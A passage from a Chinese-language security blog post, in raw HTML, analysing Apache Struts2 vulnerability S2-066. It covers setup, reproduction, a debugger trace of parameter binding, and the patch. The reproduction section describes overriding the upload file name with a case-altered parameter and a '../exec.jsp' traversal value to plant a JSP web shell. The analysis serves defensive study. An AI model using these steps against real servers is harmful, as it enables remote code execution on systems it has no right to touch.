class="code-snippet__tag">&lt;<span class="code-snippet__name">s:property</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;myfileFileName&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">body</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">html</span>&gt;</span></span></code></pre></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><code><span style="font-size: 18px;"></span></code><span style="font-size: 18px;"><o:p></o:p></span></section></pre><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">struts.xml 中配置 action 的解析，继承了 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">struts-default</span><span style="font-size: 18px;"> </span><span style="font-size: 18px;">包；<o:p></o:p></span></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;"></span></section></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE struts PUBLIC</span></span></code><code><span class="code-snippet_outer">        &#34;-//Apache Software Foundation//DTD Struts Configuration 2.0//EN&#34;</span></code><code><span class="code-snippet_outer">        &#34;<a href="http://struts.apache.org/dtds/struts-2.0.dtd" target="_blank">http://struts.apache.org/dtds/struts-2.0.dtd</a>&#34;&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">struts</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">package</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;default&#34;</span> <span class="code-snippet__attr">namespace</span>=<span class="code-snippet__string">&#34;/&#34;</span> <span class="code-snippet__attr">extends</span>=<span class="code-snippet__string">&#34;struts-default&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">action</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;upload&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;blckder02.struts2.action.UploadAction&#34;</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;execute&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">result</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;success&#34;</span>&gt;</span>/success.jsp<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">result</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">result</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;error&#34;</span>&gt;</span>/upload.jsp<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">result</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">action</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">package</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">struts</span>&gt;</span></span></code></pre></section><pre data-processed="true"><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;"><o:p></o:p></span></section></pre><section style="line-height: 1.6em;text-align: left;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">struts-default</span><span style="font-size: 18px;"> </span><span style="font-size: 18px;">包中使用了FileUploadInterceptor和ParametersInterceptor，在这里也是继承使用的，会对上传的文件以及参数进行拦截校验；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="422" data-backw="578" data-imgfileid="100004703" data-ratio="0.7292307692307692" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=5bc50f6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk1131Wdmp9OYGVFNsDCPaf2d0ytMxNsIv8h5KK6EZ1AZhVhY1uvy0F25A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">最后配置上 Tomcat 就可以运行了。<o:p></o:p></span></section><h2 style="line-height: 1.6em;text-align: left;margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 漏洞复现</span><span style="font-size: 18px;"><o:p></o:p></span></h2><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">准备一个含有简单 jsp 木马的文件；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="112" data-backw="578" data-imgfileid="100004704" data-ratio="0.19321148825065274" style="width: 100%;height: auto;" data-type="png" data-w="766" src="https://wechat2rss.xlab.app/img-proxy/?k=c1999fff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11Mj2iaCTfLzcTxhzia9v0o0gtiaia43TpXUQ51CWzsc8riaYTBPO1QbOrTvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">选择文件，上传抓包；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="343" data-backw="578" data-imgfileid="100004705" data-ratio="0.5928205128205128" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=767af6d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk110ibfPv7q1GicF7yxlxorl7sRAP6SVtvyJ0So8ceTvDBwz1x4CV47V9Rw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">发送到 Repeater，修改请求包，将</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">myfile</span><span style="font-size: 18px;">参数名的第一个字母改为大写，再构造一个</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">myfileFi</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">le</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">Name</span><span style="font-size: 18px;">参数，参数值为想要文件保存后所在的路径及文件名。构造的参数名必须是第一个</span><span style="font-size: 18px;">参数名+&#34;</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);"></span><span style="font-size: 18px;">FileName</span><span style="font-size: 18px;">&#34;</span><span style="font-size: 18px;">，不能随便构造。<br/>上传成功后可以看到文件名为自定义的参数值；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="346" data-backw="578" data-imgfileid="100004706" data-ratio="0.597948717948718" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=b18eb810&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11OTNLGWenJTicEmzmNINzfSWCs6uV1Uk6L3LhwUjVLueP1qPBsKJibZGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">访问 jsp，能成功执行命令，文件保存到了 </span><span style="font-size: 18px;">/uploads 目录下，且文件名保存为构造传入的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">exec.jsp</span><span style="font-size: 18px;">。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="211" data-backw="578" data-imgfileid="100004707" data-ratio="0.36512820512820515" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=2a854803&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11JCRNOqeptWyiavVU0Sf9xcrNmbQl5lLsBRW3sKqPNowL60D4c5UrKzg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><h2 style="line-height: 1.6em;text-align: left;margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞分析</span><span style="font-size: 18px;"><o:p></o:p></span></h2><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">断点跟踪一下文件上传的流程，可以从</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">org.apache.struts2.dispatcher.Dispatcher#serviceAction()</span><span style="font-size: 18px;">断点，开始处理文件上传的 action；<br/>可以看到 request 中含有一个文件类型参数</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">files</span><span style="font-size: 18px;">和一个字符串类型的参数</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">params</span><span style="font-size: 18px;">；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="308" data-backw="578" data-imgfileid="100004708" data-ratio="0.5333333333333333" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=e41c75d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11WDP4RHMdicX24CibQRpbOFpZEe6yGKaoiaicrIFvxTFvaOeHXianSTwjRuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">跟进，将</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">myfileFileName</span><span style="font-size: 18px;">参数封装成了 HttpParameters 对象，添加到了context中；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="353" data-backw="578" data-imgfileid="100004709" data-ratio="0.6102564102564103" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=7a1afbd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk114YLpMBUarHUmEGZG9TgfiarqZxxjsVZSqzP00JDQDtfIuUkewxmRBeg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">回到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">serviceAction()</span><span style="font-size: 18px;">中，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">extraContext</span><span style="font-size: 18px;">是前面</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">createContextMap()</span><span style="font-size: 18px;">创建的 context 对象，这里生成了一个 action 的代理对象，开始执行 action 流程。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="196" data-backw="578" data-imgfileid="100004710" data-ratio="0.3394871794871795" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=fc4a19fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk114hlqapjEicZYArqqEeCda33ImPIZts3HIvddWG7j5LDqkAGOJITSeibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">接着进入 FileUploadInterceptor，从上传的请求中提取了文件、Content-Type 和文件名；可以看到保存文件名的键名是</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">inputName
+ &#34;FileName&#34;</span><span style="font-size: 18px;">，所以请求包中构造的参数名也得是这种形式，才能完成覆盖。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="495" data-backw="578" data-imgfileid="100004711" data-ratio="0.8556806550665302" style="width: 100%;height: auto;" data-type="png" data-w="977" src="https://wechat2rss.xlab.app/img-proxy/?k=138237d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11rOHHE5EWbTRlRoOq8QcYfJ7mec4XItETs8pFwbLNrPK5tFnAzEO4ng%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">在调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">multiWrapper.getFileNames()</span><span style="font-size: 18px;">的时候，对文件名中</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/</span><span style="font-size: 18px;">、</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">\</span><span style="font-size: 18px;">符号前的字符串进行了过滤，所以直接在文件名中进行路径穿越是不行的；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="303" data-backw="578" data-imgfileid="100004712" data-ratio="0.5241025641025641" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=1fd61386&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11A8mfr3BxcBw4TibJQN9iczPS96WPVqAp1N0o3rbV4e4aA0x9KOxkNDxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">把这三个值添加到 HttpParameters 对象中后，actioncontext 里的参数就有四个了。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="520" data-backw="578" data-imgfileid="100004713" data-ratio="0.8994871794871795" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=cafea4a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11eAdsTiajNEyFcia9icgAS2gMmbNU6vASb7pOUHr9cQ3TBI6U9iagia6yhrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">进入 ParametersInterceptor，在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">setParameters()</span><span style="font-size: 18px;">中，将 HttpParameters 对象中的参数依次放入 TreeMap 对象中；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="412" data-backw="578" data-imgfileid="100004714" data-ratio="0.7117948717948718" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=d27e6225&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11VGNMJn6yTJJOCiaiclicaJhk4J9iaRWRSnUc3PYothv8m4xmiczFlRjwMUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">可以看到 TreeMap 对象中保存的参数顺序变了，是因为 TreeMap 对象会按参数名的大小顺序从小到大保存值；<br/>在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">TreeMap.put()</span><span style="font-size: 18px;">方法中，会将新添入的参数名与已保存的参数名做比较；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="606" data-backw="578" data-imgfileid="100004715" data-ratio="1.0482051282051281" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=dc776bd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11uiasvPHhiaxKibwYYlNHhAc70RxPTOGromMCpJRLMkJnG9eVToibmSB5hA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">比较逻辑就是逐字符比较，遇到不相同的字符就返回新增参数名与已保存参数名 ASCII 的差值；</span><span style="font-size: 18px;"><br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="296" data-backw="578" data-imgfileid="100004716" data-ratio="0.5128205128205128" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=9981688d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk118npwdXF03ewxqz6iaycIacA7pm1jwAia5xibUDhNqVq24Qt10rez7N59Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">差值为负，则说明新增参数名比已保存参数名的 ASCII 值小，将新增参数插入到已保存参数的前面，所以要保证构造的文件名比</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">inputName + &#34;FileName&#34;</span><span style="font-size: 18px;">生成的文件名的 ASCII 值大。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="486" data-backw="578" data-imgfileid="100004717" data-ratio="0.84" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=84812fe9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11LSViaB39kM4CnBrTibcWiaxeNUfZICRePUCE8IGq5DicFIj8R8dl5GUVRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">newStack.setParameter()</span><span style="font-size: 18px;">进行参数绑定，遍历后</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">myfileFileName</span><span style="font-size: 18px;">的值已经被赋为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">S2-66.txt</span><span style="font-size: 18px;">；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="342" data-backw="578" data-imgfileid="100004718" data-ratio="0.5917948717948718" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=29a114d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11oUtTUkQGgH0jReNhGWqAVeBBrjgiarcDnRGVKT0XobDsCpw3bGUfBbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">跟进，调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">task.execute()</span><span style="font-size: 18px;">执行表达式；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="438" data-backw="578" data-imgfileid="100004719" data-ratio="0.757948717948718" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=3605f521&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11h70bWEcxEGicYRy8ic5UVWefALEeHOWJW3YNsSIiaFfqEnJWVp30HmG4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">一直跟进，会再次调用 setter 方法为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">myfileFileName</span><span style="font-size: 18px;">赋值，所以第一次赋值的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">S2-</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">66.</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">txt</span><span style="font-size: 18px;">就被覆盖为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">../exec.jsp</span><span style="font-size: 18px;">了。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="294" data-backw="578" data-imgfileid="100004720" data-ratio="0.5076923076923077" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=0a070f5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11GALthoOHoFlnI8IrJQbrVywibz1QoZGqEUKbicfECBv2AtprRK9sq2HA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">最后在 UploadAction 中保存文件，路径中拼接的文件名包含路径穿越符，便会解析保存到上一目录。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="345" data-backw="578" data-imgfileid="100004721" data-ratio="0.5958974358974359" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=e9ecc8f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11qcmQu6z6quYyFglEzyQ7VKrAG3q6sAL8dwlKWUibSicJHb42YYZIuhNg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><h2 style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">5. 补丁分析</span></h2><p style="text-align: left;line-height: 1.6em;"><span style="font-size: 18px;">在 6.3.0.2版本中，HttpParameters 类的</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">appendAll()</span><span style="font-size: 18px;">中添加调用了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">remove()</span><span style="font-size: 18px;">方法；遍历检查参数是否需要删除，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">remove()</span><span style="font-size: 18px;">方法中添加使用了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">equalsIgnoreCase()</span><span style="font-size: 18px;">方法来忽略大小写进行比较。<br/><o:p></o:p></span></p><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100004722" data-ratio="0.4094165813715456" data-w="977" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bc188d5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11T0mwlYnfWog0oJPy0L2tGcy7iawn98LichDsHoFCTzSzX9TH7Gk79Wug%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">断点进入，将</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">MyfileFileNam</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">e</span><span style="font-size: 18px;">与</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">myfileFileName</span><span style="font-size: 18px;">带入校验；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100004723" data-ratio="0.5733333333333334" data-w="975" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=09948e91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11ULwaSGUVVYiatG2BgHSF6LcaXsIVAbgdsnYeu2eFMFdkTeqiaicDicgJDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">跟进，在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">StringLatin1.regionMatchesCI()</span><span style="font-size: 18px;">中，将两个参数名进行了统一的大小写转换再进行比较，这里的比较结果相同，返回 true；<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: center;"><img class="rich_pages wxw-img" data-backh="492" data-backw="578" data-imgfileid="100004724" data-ratio="0.8512820512820513" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=d5bf92e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11WE43PHa4YYOkRjcbuk8HlexktdN4tAHROrepbBB9VKNHrKo9ibnRkMw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><span style="font-size: 18px;">于是将已经存在的同名参数（忽略大小写）删除了，后面就不存在二次调用 setter 方法来覆盖了。<br/><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: 